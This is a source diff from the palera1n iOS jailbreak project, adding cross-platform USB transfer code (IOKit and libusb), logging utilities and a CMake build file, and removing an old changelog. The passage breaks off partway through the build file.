res = (*plugin)->QueryInterface(plugin, CFUUIDGetUUIDBytes(kIOUSBInterfaceInterfaceID245), (LPVOID *)&intf);
|
||||
|
||||
(*plugin)->Release(plugin);
|
||||
|
||||
if(res != S_OK || !intf) continue;
|
||||
|
||||
kr = (*intf)->USBInterfaceOpen(intf);
|
||||
if(kr != kIOReturnSuccess) {
|
||||
(*intf)->Release(intf);
|
||||
continue;
|
||||
}
|
||||
|
||||
handle->interface = intf;
|
||||
IOObjectRelease(iter);
|
||||
return true;
|
||||
}
|
||||
|
||||
IOObjectRelease(iter);
|
||||
return false;
|
||||
}
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle) {
|
||||
if(handle->async_event_source) {
|
||||
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
|
||||
CFRelease(handle->async_event_source);
|
||||
handle->async_event_source = NULL;
|
||||
}
|
||||
|
||||
if(handle->interface) {
|
||||
(*handle->interface)->USBInterfaceClose(handle->interface);
|
||||
(*handle->interface)->Release(handle->interface);
|
||||
handle->interface = NULL;
|
||||
}
|
||||
|
||||
if(handle->device) {
|
||||
(*handle->device)->USBDeviceClose(handle->device);
|
||||
(*handle->device)->Release(handle->device);
|
||||
handle->device = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
bool open_usb_device(io_service_t serv, usb_handle_t *handle)
|
||||
{
|
||||
if (!query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) return false;
|
||||
|
||||
IOReturn kr;
|
||||
|
||||
for (int i = 0; i < 10; i++) {
|
||||
kr = (*handle->device)->USBDeviceOpenSeize(handle->device);
|
||||
|
||||
if (kr == kIOReturnSuccess) break;
|
||||
if (kr != kIOReturnExclusiveAccess) goto fail;
|
||||
|
||||
usleep(100000);
|
||||
}
|
||||
|
||||
if (kr != kIOReturnSuccess) goto fail;
|
||||
|
||||
kr = (*handle->device)->SetConfiguration(handle->device, 1);
|
||||
|
||||
if (kr != kIOReturnSuccess && kr != kIOReturnExclusiveAccess) goto fail;
|
||||
|
||||
kr = (*handle->device)->CreateDeviceAsyncEventSource(
|
||||
handle->device,
|
||||
&handle->async_event_source
|
||||
);
|
||||
|
||||
if (kr != kIOReturnSuccess) goto fail;
|
||||
|
||||
CFRunLoopAddSource(
|
||||
CFRunLoopGetCurrent(),
|
||||
handle->async_event_source,
|
||||
kCFRunLoopDefaultMode
|
||||
);
|
||||
|
||||
if (!open_usb_interface(handle)) goto fail;
|
||||
|
||||
return true;
|
||||
fail:
|
||||
close_usb_handle(handle);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool wait_usb_handle(usb_handle_t *handle) {
|
||||
CFMutableDictionaryRef matching_dict;
|
||||
io_iterator_t iter;
|
||||
io_service_t serv;
|
||||
|
||||
matching_dict = IOServiceMatching(kUSBDeviceClassName);
|
||||
if (matching_dict == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid);
|
||||
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid);
|
||||
|
||||
if (IOServiceGetMatchingServices(0, matching_dict, &iter) != kIOReturnSuccess) {
|
||||
return false;
|
||||
}
|
||||
|
||||
while ((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
|
||||
if (open_usb_device(serv, handle)) {
|
||||
IOObjectRelease(iter);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
IOObjectRelease(iter);
|
||||
return false;
|
||||
}
|
||||
|
||||
void reset_usb_handle(usb_handle_t *handle) {
|
||||
if(handle->device) {
|
||||
(*handle->device)->ResetDevice(handle->device);
|
||||
(*handle->device)->USBDeviceReEnumerate(handle->device, 0);
|
||||
}
|
||||
}
|
||||
|
||||
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->interface) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
IOUSBDevRequestTO req = {
|
||||
.wLenDone = 0,
|
||||
.pData = p_data,
|
||||
.bRequest = b_request,
|
||||
.bmRequestType = bm_request_type,
|
||||
.wLength = OSSwapLittleToHostInt16(w_len),
|
||||
.wValue = OSSwapLittleToHostInt16(w_value),
|
||||
.wIndex = OSSwapLittleToHostInt16(w_index),
|
||||
.completionTimeout = USB_TIMEOUT,
|
||||
.noDataTimeout = USB_TIMEOUT,
|
||||
};
|
||||
|
||||
IOReturn ret = (*handle->device)->DeviceRequestTO(handle->device, &req);
|
||||
|
||||
if(ret == kIOReturnSuccess) {
|
||||
result.sz = req.wLenDone;
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
} else if(ret == kUSBPipeStalled) {
|
||||
result.ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static void usb_async_cb(void *refcon, IOReturn ret, void *arg) {
|
||||
transfer_ret_t *transfer_ret = refcon;
|
||||
|
||||
if(transfer_ret != NULL) {
|
||||
memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz));
|
||||
|
||||
if(ret == kIOReturnSuccess) {
|
||||
transfer_ret->ret = USB_TRANSFER_OK;
|
||||
} else if(ret == kUSBPipeStalled) {
|
||||
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
CFRunLoopStop(CFRunLoopGetCurrent());
|
||||
}
|
||||
|
||||
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->interface) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
IOUSBDevRequestTO req = {
|
||||
.wLenDone = 0,
|
||||
.pData = p_data,
|
||||
.bRequest = b_request,
|
||||
.bmRequestType = bm_request_type,
|
||||
.wLength = OSSwapLittleToHostInt16(w_len),
|
||||
.wValue = OSSwapLittleToHostInt16(w_value),
|
||||
.wIndex = OSSwapLittleToHostInt16(w_index),
|
||||
.completionTimeout = USB_TIMEOUT,
|
||||
.noDataTimeout = USB_TIMEOUT,
|
||||
};
|
||||
|
||||
if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, &result) == kIOReturnSuccess) {
|
||||
sleep_ms(usb_abort_timeout);
|
||||
|
||||
if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) {
|
||||
CFRunLoopRun();
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->interface) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
IOUSBDevRequest req = {
|
||||
.bmRequestType = bm_request_type,
|
||||
.bRequest = b_request,
|
||||
.wValue = w_value,
|
||||
.wIndex = w_index,
|
||||
.wLength = (UInt16)w_len,
|
||||
.pData = p_data,
|
||||
};
|
||||
|
||||
IOReturn ret = (*handle->interface)->ControlRequest(handle->interface, 0, &req);
|
||||
|
||||
result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR;
|
||||
result.sz = req.wLenDone;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->interface) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
IOReturn ret = (*handle->interface)->WritePipe(handle->interface, 2, data, len);
|
||||
|
||||
result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR;
|
||||
result.sz = len;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid)
|
||||
{
|
||||
handle->vid = vid;
|
||||
handle->pid = pid;
|
||||
handle->serv = IO_OBJECT_NULL;
|
||||
handle->device = NULL;
|
||||
handle->interface = NULL;
|
||||
handle->async_event_source = NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,277 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2023 0x7ff
|
||||
* Copyright (C) 2023 Mineek
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifndef __APPLE__
|
||||
|
||||
#include <usb_libusb.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include <libusb-1.0/libusb.h>
|
||||
|
||||
#include <utils.h>
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle) {
|
||||
#if _WIN32
|
||||
libusb_release_interface(handle->device, 0);
|
||||
#endif
|
||||
libusb_close(handle->device);
|
||||
libusb_exit(NULL);
|
||||
}
|
||||
|
||||
void reset_usb_handle(const usb_handle_t *handle) {
|
||||
libusb_reset_device(handle->device);
|
||||
}
|
||||
|
||||
bool wait_usb_handle(usb_handle_t *handle) {
|
||||
if (libusb_init(NULL) != LIBUSB_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid);
|
||||
if (handle->device == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
#if _WIN32
|
||||
libusb_set_auto_detach_kernel_driver(handle->device, 1);
|
||||
|
||||
if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS ||
|
||||
libusb_set_configuration(handle->device, 1) == LIBUSB_ERROR_BUSY) {
|
||||
if (libusb_claim_interface(handle->device, 0) == LIBUSB_SUCCESS) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
#else
|
||||
if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) {
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
|
||||
libusb_close(handle->device);
|
||||
return false;
|
||||
}
|
||||
|
||||
void usb_async_cb(struct libusb_transfer *transfer) {
|
||||
*(int *)transfer->user_data = 1;
|
||||
}
|
||||
|
||||
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->device) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT);
|
||||
|
||||
if(ret >= 0) {
|
||||
result.sz = (uint32_t)ret;
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
} else if(ret == LIBUSB_ERROR_PIPE) {
|
||||
result.ret = USB_TRANSFER_STALL;
|
||||
result.sz = 0;
|
||||
} else {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) {
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->device) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
struct libusb_transfer *transfer = libusb_alloc_transfer(0);
|
||||
struct timeval tv;
|
||||
int completed = 0;
|
||||
uint8_t *buf;
|
||||
|
||||
if(transfer != NULL) {
|
||||
if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) {
|
||||
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
|
||||
memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len);
|
||||
}
|
||||
libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len);
|
||||
libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT);
|
||||
if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
|
||||
tv.tv_sec = usb_abort_timeout / 1000;
|
||||
tv.tv_usec = (usb_abort_timeout % 1000) * 1000;
|
||||
while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
|
||||
libusb_cancel_transfer(transfer);
|
||||
}
|
||||
if(completed != 0) {
|
||||
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
|
||||
memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length);
|
||||
}
|
||||
result.sz = (uint32_t)transfer->actual_length;
|
||||
if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
} else if(transfer->status == LIBUSB_TRANSFER_STALL) {
|
||||
result.ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
}
|
||||
free(buf);
|
||||
}
|
||||
libusb_free_transfer(transfer);
|
||||
}
|
||||
|
||||
if(completed == 0) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->device) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, 0);
|
||||
|
||||
if(ret >= 0) {
|
||||
result.sz = (uint32_t)ret;
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
} else if(ret == LIBUSB_ERROR_PIPE) {
|
||||
result.ret = USB_TRANSFER_STALL;
|
||||
result.sz = 0;
|
||||
} else {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->device) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
static uint32_t maxLen = 0;
|
||||
int transferred = 0;
|
||||
int ret;
|
||||
|
||||
if(maxLen == 0)
|
||||
{
|
||||
ret = libusb_bulk_transfer(handle->device, 2, data, len, &transferred, 0);
|
||||
if(ret == LIBUSB_SUCCESS)
|
||||
{
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
result.sz = transferred;
|
||||
return result;
|
||||
}
|
||||
else if(ret != LIBUSB_ERROR_NO_MEM)
|
||||
{
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = transferred;
|
||||
return result;
|
||||
}
|
||||
#if defined(__linux__)
|
||||
// We only get here on ENOMEM
|
||||
FILE *f = fopen("/sys/module/usbcore/parameters/usbfs_memory_mb", "r");
|
||||
if(f)
|
||||
{
|
||||
char str[32]; // More than enough to hold a uint64 in decimal
|
||||
size_t s = fread(str, 1, sizeof(str), f);
|
||||
fclose(f);
|
||||
if(s == 0 || s >= sizeof(str)) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = transferred;
|
||||
return result;
|
||||
}
|
||||
str[s] = '\0';
|
||||
char *end = NULL;
|
||||
unsigned long long max = strtoull(str, &end, 0);
|
||||
// Using the limit as-is will lead to ENOMEM, so we multiply
|
||||
// by half a MB and impose an appropriate max value.
|
||||
if(*end == '\n') ++end;
|
||||
if(*end != '\0' || max == 0 || max >= 0x2000) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = transferred;
|
||||
return result;
|
||||
}
|
||||
maxLen = (uint32_t)(max << 19);
|
||||
}
|
||||
else
|
||||
#endif
|
||||
{
|
||||
// Just 1MB by default?
|
||||
maxLen = 0x100000;
|
||||
}
|
||||
}
|
||||
// If we get here, we have to chunk our data
|
||||
for(int done = transferred; done < len; )
|
||||
{
|
||||
uint32_t chunk = len - done;
|
||||
if(chunk > maxLen) chunk = maxLen;
|
||||
transferred = 0;
|
||||
ret = libusb_bulk_transfer(handle->device, 2, (unsigned char*)data + done, chunk, &transferred, 0);
|
||||
done += transferred;
|
||||
if(ret == LIBUSB_SUCCESS) continue;
|
||||
if(ret != LIBUSB_ERROR_NO_MEM || maxLen <= 0x40) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = transferred;
|
||||
return result;
|
||||
}
|
||||
maxLen /= 2;
|
||||
}
|
||||
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
result.sz = transferred;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
|
||||
handle->vid = vid;
|
||||
handle->pid = pid;
|
||||
handle->device = NULL;
|
||||
}
|
||||
|
||||
#endif // __APPLE__
|
||||
@@ -0,0 +1,127 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#include <utils.h>
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdarg.h>
|
||||
#ifdef _WIN32
|
||||
# include <windows.h>
|
||||
#endif
|
||||
#include <time.h>
|
||||
|
||||
uint8_t gDebugLevel = 0;
|
||||
bool gSilentLogs = false;
|
||||
bool gColoredLogs = true;
|
||||
|
||||
static const char *level_names[] = {
|
||||
[LOG_INFO] = "INFO",
|
||||
[LOG_ERROR] = "ERROR",
|
||||
[LOG_VERBOSE] = "VERBOSE",
|
||||
};
|
||||
|
||||
static const char *level_colors[] = {
|
||||
[LOG_INFO] = CYAN_COLOR,
|
||||
[LOG_ERROR] = RED_COLOR,
|
||||
[LOG_VERBOSE] = RESET_COLOR,
|
||||
};
|
||||
|
||||
static inline void _get_timestamp(char *buf, size_t len)
|
||||
{
|
||||
time_t t = time(NULL);
|
||||
struct tm tm_info;
|
||||
|
||||
#ifdef _WIN32
|
||||
localtime_s(&tm_info, &t);
|
||||
#else
|
||||
localtime_r(&t, &tm_info);
|
||||
#endif
|
||||
|
||||
strftime(buf, len, "%Y/%m/%d %H:%M:%S", &tm_info);
|
||||
}
|
||||
|
||||
void log_write_internal(log_level_t level, const char* func, const char* file, int line, const char *fmt, ...)
|
||||
{
|
||||
if (gSilentLogs) return;
|
||||
if (level == LOG_VERBOSE && gDebugLevel < 1) return;
|
||||
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
|
||||
char tag_buf[32];
|
||||
char ts[32];
|
||||
|
||||
_get_timestamp(ts, sizeof(ts));
|
||||
snprintf(tag_buf, sizeof(tag_buf), "<%s>", level_names[level]);
|
||||
|
||||
if (!gColoredLogs) {
|
||||
printf(" %9s [%s] => ", tag_buf, ts);
|
||||
} else {
|
||||
printf(" %s%9s%s [%s%s%s] => ",
|
||||
level_colors[level],
|
||||
tag_buf,
|
||||
RESET_COLOR,
|
||||
GRAY_COLOR,
|
||||
ts,
|
||||
RESET_COLOR
|
||||
);
|
||||
}
|
||||
|
||||
vprintf(fmt, args);
|
||||
|
||||
if (gDebugLevel >= 2) {
|
||||
if (gColoredLogs) {
|
||||
printf("\n %s└────[%sTRACE(%d)%s = %s()[%s:%d]]",
|
||||
RESET_COLOR,
|
||||
MAGENTA_COLOR,
|
||||
gDebugLevel,
|
||||
RESET_COLOR,
|
||||
func,
|
||||
file,
|
||||
line
|
||||
);
|
||||
} else {
|
||||
printf("\n └────[TRACE(%d) = %s()[%s:%d]]",
|
||||
gDebugLevel,
|
||||
func,
|
||||
file,
|
||||
line
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
putchar('\n');
|
||||
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void sleep_ms(unsigned ms) {
|
||||
#ifdef _WIN32
|
||||
Sleep(ms);
|
||||
#else
|
||||
struct timespec ts;
|
||||
|
||||
ts.tv_sec = ms / 1000;
|
||||
ts.tv_nsec = (ms % 1000) * 1000000L;
|
||||
nanosleep(&ts, NULL);
|
||||
#endif
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
# Changelog
|
||||
|
||||
## 1.4.1
|
||||
- ibot.patched fix
|
||||
- Use payload on the X
|
||||
- Other random changes/fixes
|
||||
|
||||
## 1.4.0
|
||||
|
||||
- Does not mount user data partition for iPhone X compatibility, isn't even really needed anymore
|
||||
- Deploys files to the rootfs (fakefs if needed)
|
||||
- Fix deviceid finding
|
||||
- Use apticket.der because dumping rdisk seems to freeze
|
||||
- Add /.installed_palera1n with info
|
||||
- uicache loader app on boot (no more Tips app hijacking)
|
||||
- Fix rootless
|
||||
- Webkit fix on 16
|
||||
- Switch to local boot
|
||||
- Fix home button on iPhone 7(+) and 8(+)
|
||||
- Increase stability
|
||||
- Supports 15.0-16.2 on all checkm8 devices
|
||||
|
||||
## 1.3.0
|
||||
|
||||
- Fully fix deep sleep bug
|
||||
- Supports 15.0-15.7.1 on all checkm8 devices
|
||||
- Increase stability
|
||||
- Fix TrollStore, camera, and screen recording
|
||||
|
||||
## 1.2.0
|
||||
|
||||
- Numerous fixes
|
||||
- Let Pogo install tweak support
|
||||
|
||||
## 1.1.1
|
||||
|
||||
- Support iPad beta URLs
|
||||
- Make sure auto-boot is always set to false (unless restoring rootfs)
|
||||
- Wait for sshd to start before running postboot
|
||||
- Fix Tips check error
|
||||
- Fix --restorerootfs
|
||||
|
||||
## 1.1.0
|
||||
|
||||
- Check if Tips is installed
|
||||
- Only prompt for disclaimer once
|
||||
- Check for DFU
|
||||
+384
@@ -0,0 +1,384 @@
|
||||
cmake_minimum_required(VERSION 3.12)
|
||||
project(palera1n VERSION 3.0)
|
||||
|
||||
include(FetchContent)
|
||||
include(ExternalProject)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 11)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED True)
|
||||
if(NOT IOS)
|
||||
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.11")
|
||||
else()
|
||||
set(CMAKE_OSX_DEPLOYMENT_TARGET "9.0")
|
||||
endif()
|
||||
set(CMAKE_EXPORT_COMPILE_COMMANDS ON)
|
||||
set(CROSS_HOST_TRIPLE "" CACHE STRING "Cross-compile target triple for Autotools (e.g., x86_64-linux-musl)")
|
||||
|
||||
option(WITH_GUI "Build with wxWidgets GUI" OFF)
|
||||
option(WITH_STATIC "Build with static wxWidgets / deps" OFF)
|
||||
option(WITH_TUI "Build with TUI" OFF)
|
||||
option(WITH_RAMDISK "Build with ramdisk" ON)
|
||||
option(WITH_BINPACK "Build with binpack" ON)
|
||||
option(WITH_CIDERRAIN "Build with Ciderra1n instead of Openra1n" OFF)
|
||||
|
||||
# =========================
|
||||
# MARK: BUILD REQUIREMENTS
|
||||
# =========================
|
||||
|
||||
include("${CMAKE_CURRENT_SOURCE_DIR}/cmake/BuildRequirements.cmake")
|
||||
|
||||
# =========================
|
||||
# MARK: SETUP
|
||||
# =========================
|
||||
|
||||
if(MINGW)
|
||||
set(DEPS_PREFIX /mingw64)
|
||||
elseif(CMAKE_SYSROOT)
|
||||
set(DEPS_PREFIX "${CMAKE_SYSROOT}/usr")
|
||||
else()
|
||||
set(DEPS_PREFIX "${CMAKE_BINARY_DIR}/sysroot/usr/local")
|
||||
endif()
|
||||
|
||||
set(SYSROOT_FLAGS "")
|
||||
if(CMAKE_SYSROOT)
|
||||
set(SYSROOT_FLAGS "--sysroot=${CMAKE_SYSROOT}")
|
||||
endif()
|
||||
|
||||
set(AUTOTOOLS_BUILD_TRIPLE "x86_64-linux-gnu")
|
||||
|
||||
# =========================
|
||||
# MARK: CMAKE DEPENDENCIES
|
||||
# =========================
|
||||
|
||||
set(wxBUILD_INSTALL OFF CACHE BOOL "" FORCE)
|
||||
set(JSON_Install OFF CACHE BOOL "" FORCE)
|
||||
|
||||
# wxWidgets
|
||||
if(WITH_GUI)
|
||||
if(WITH_STATIC)
|
||||
set(wxBUILD_SHARED OFF CACHE BOOL "" FORCE)
|
||||
FetchContent_Declare(
|
||||
wxWidgets
|
||||
GIT_REPOSITORY https://github.com/wxWidgets/wxWidgets.git
|
||||
GIT_TAG v3.3.3
|
||||
PATCH_COMMAND
|
||||
patch --forward --ignore-whitespace -p1 < "${CMAKE_SOURCE_DIR}/patches/wxWidgets/0001-cpp11-support.patch" || true
|
||||
)
|
||||
FetchContent_MakeAvailable(wxWidgets)
|
||||
set(WX_LIBRARIES wxcore wxbase wxnet)
|
||||
else()
|
||||
find_package(wxWidgets REQUIRED COMPONENTS core base net)
|
||||
include(${wxWidgets_USE_FILE})
|
||||
set(WX_LIBRARIES ${wxWidgets_LIBRARIES})
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# nlohmann_json
|
||||
FetchContent_Declare(
|
||||
nlohmann_json
|
||||
GIT_REPOSITORY https://github.com/nlohmann/json.git
|
||||
GIT_TAG v3.11.3
|
||||
)
|
||||
FetchContent_MakeAvailable(nlohmann_json)
|
||||
|
||||
# =========================
|
||||
# MARK: TARGET
|
||||
# =========================
|
||||
|
||||
message(STATUS "========================")
|
||||
message(STATUS "Using XXD on this shit!!!")
|
||||
message(STATUS "========================")
|
||||
include(cmake/Xxd.cmake)
|
||||
if(IOS)
|
||||
include(cmake/AppleHeaders.cmake)
|
||||
endif()
|
||||
|
||||
file(GLOB_RECURSE SOURCES CONFIGURE_DEPENDS
|
||||
"src/*.cpp"
|
||||
"src/*.c"
|
||||
"src/*.h"
|
||||
"src/*.hpp"
|
||||
)
|
||||
|
||||
if((APPLE AND NOT IOS) AND WITH_GUI)
|
||||
set(APP_ICON "${CMAKE_CURRENT_SOURCE_DIR}/resources/AppIcon.icns")
|
||||
set(APP_ICON_CAR "${CMAKE_CURRENT_SOURCE_DIR}/resources/Assets.car")
|
||||
add_executable(palera1n MACOSX_BUNDLE ${SOURCES})
|
||||
target_sources(palera1n PRIVATE ${APP_ICON} ${APP_ICON_CAR})
|
||||
set_source_files_properties(${APP_ICON} PROPERTIES MACOSX_PACKAGE_LOCATION "Resources")
|
||||
set_source_files_properties(${APP_ICON_CAR} PROPERTIES MACOSX_PACKAGE_LOCATION "Resources")
|
||||
set_target_properties(palera1n PROPERTIES
|
||||
MACOSX_BUNDLE_INFO_PLIST "${CMAKE_CURRENT_SOURCE_DIR}/resources/Info.plist"
|
||||
)
|
||||
elseif(IOS)
|
||||
add_executable(palera1n MACOSX_BUNDLE ${SOURCES})
|
||||
|
||||
set_target_properties(palera1n PROPERTIES
|
||||
XCODE_ATTRIBUTE_PRODUCT_BUNDLE_IDENTIFIER "in.palera.palera1n"
|
||||
XCODE_ATTRIBUTE_AD_HOC_CODE_SIGNING_ALLOWED "YES"
|
||||
XCODE_ATTRIBUTE_CODE_SIGNING_ALLOWED "YES"
|
||||
XCODE_ATTRIBUTE_CODE_SIGNING_REQUIRED "YES"
|
||||
XCODE_ATTRIBUTE_CODE_SIGN_IDENTITY "-"
|
||||
